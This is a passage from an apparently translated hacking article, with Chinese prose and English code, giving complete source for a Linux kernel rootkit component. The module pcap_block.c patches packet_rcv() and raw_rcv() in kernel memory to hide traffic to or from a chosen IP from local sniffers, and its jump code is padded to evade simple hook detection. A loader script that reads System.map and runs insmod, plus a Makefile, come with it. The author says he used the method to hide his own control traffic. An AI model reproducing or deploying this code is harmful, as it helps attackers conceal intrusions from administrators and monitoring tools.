    $(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:
    rm -rf *.o
    rm -rf ./*~
<-->

--[ B - 第6節中的源代碼

    這裏給出的是一個劫持packet_rcv()和raw_rcv()函數以隱藏來自或去往咱們指定的IP地址的數據包的簡單模塊。默認的IP地址 被設置爲127.0.0.1,可是能夠經過改變#define IP的值來改變它。還有一個bash腳本,用於從System.map文件中獲取須要的函數的入口地址,而且以須要的格式將這些地址作爲參數來運行 insmod命令。這個加載腳本是grem所寫。原用於個人Mod-off項目,很容易修改它使之適用於這裏給出的模塊。再次感謝 grem。
    
    給出的模塊僅是一個原理性的代碼,沒有使用任何模塊隱藏的方法。切記,雖然該模塊將通訊從本機的嗅探器中隱藏,可是位於同一局域網的另外一臺主機上 的嗅探器仍然能看到這些數據包。從該模塊中所列出的內容出發,聰明的讀者能夠找到全部在設計一個阻塞任何種類的數據包的過濾函數時所需的東西。我已經成功 的將本文說起的技術用於隱藏個人Linux核心模塊項目中用到的控制和信息獲取數據包。

    
<++> pcaphide/pcap_block.c
/* Kernel hack that will hijack the packet_rcv() function
* which is used to pass packets to  Libpcap applications
* that use  PACKET sockets.  Also  hijacks the raw_rcv()
* function. This is used to pass packets to applications
* that open RAW sockets.
*
* Written by bioforge  -  30th June, 2003
*/

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/smp_lock.h>
#include <linux/ip.h>               /* For struct ip */
#include <linux/if_ether.h>           /* For ETH_P_IP */

#include <asm/page.h>               /* For PAGE_OFFSET */

/*
* IP address to hide 127.0.0.1 in NBO for Intel */
#define IP    htonl(0x7F000001)

/* Function pointer for original packet_rcv() */
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
          struct packet_type *pt);
MODULE_PARM(pr, "i");       /* Retrieved as insmod parameter */

/* Function pointer for original raw_rcv() */
static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");

/* Spinlock used for the parts where we un/hijack packet_rcv() */
static spinlock_t hijack_lock  = SPIN_LOCK_UNLOCKED;

/* Helper macros for use with the Hijack spinlock */
#define HIJACK_LOCK    spin_lock_irqsave(&hijack_lock, \
                         sl_flags)
#define HIJACK_UNLOCK  spin_unlock_irqrestore(&hijack_lock, \
                          sl_flags)

#define CODESIZE 10
/* Original and hijack code buffers.
* Note that the hijack code also provides 3 additional
* bytes ( inc eax;  nop;  dec eax ) to try and throw
* simple hijack detection techniques that just look for
* a move and a jump. */
/* For packet_rcv() */
static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                      "\x40\x90\x48"
                                      "\xff\xe0";
static unsigned char pr_orig[CODESIZE];

/* For raw_rcv() */
static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                      "\x40\x90\x48"
                                      "\xff\xe0";
static unsigned char rr_orig[CODESIZE];

/* Replacement for packet_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_pr(struct sk_buff *skb, struct net_device *dev,
           struct packet_type *pt)
{
    int sl_flags;               /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
    return 0;            /* Ignore this packet */
    
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    retval = pr(skb, dev, pt);
    memcpy((char *)pr, pr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

/* Replacement for raw_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
    int sl_flags;               /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
    return 0;            /* Ignore this packet */
    
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)rr, rr_orig, CODESIZE);
    retval = rr(sock, skb);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

int init_module()
{
    int sl_flags;               /* Flags for spinlock */
    
    /* pr & rr set as module parameters. If zero or < PAGE_OFFSET
     * (which we treat as the lower bound of kernel memory), then
     * we will not install the hacks. */
    if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
    printk("Address for packet_rcv() not valid! (%08x)\n",
           (int)pr);
    return -1;
    }
    if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
    printk("Address for raw_rcv() not valid! (%08x)\n",
           (int)rr);
    return -1;
    }
        
    *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
    *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
    
    HIJACK_LOCK;
    memcpy(pr_orig, (char *)pr, CODESIZE);
    memcpy((char *)pr, pr_code, CODESIZE);
    memcpy(rr_orig, (char *)rr, CODESIZE);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;
    
    EXPORT_NO_SYMBOLS;
    
    return 0;
}

void cleanup_module()
{
    int sl_flags;
    
    lock_kernel();
    
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    memcpy((char *)rr, rr_orig, CODESIZE);
    HIJACK_UNLOCK;
    
    unlock_kernel();
}
<-->

<++> pcaphide/loader.sh
#!/bin/sh
#  Written by  grem, 30th June 2003
#  Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then
        echo "Use: $0 <System.map>";
        exit;
fi

MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then
        PR="00000000"
fi
if [ "$RR" = "" ]; then
        RR="00000000"
fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->

<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o

.c.o:
    $(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:
    rm -rf *.o
    rm -rf ./*~
<-->node

相關文章
相關標籤/搜索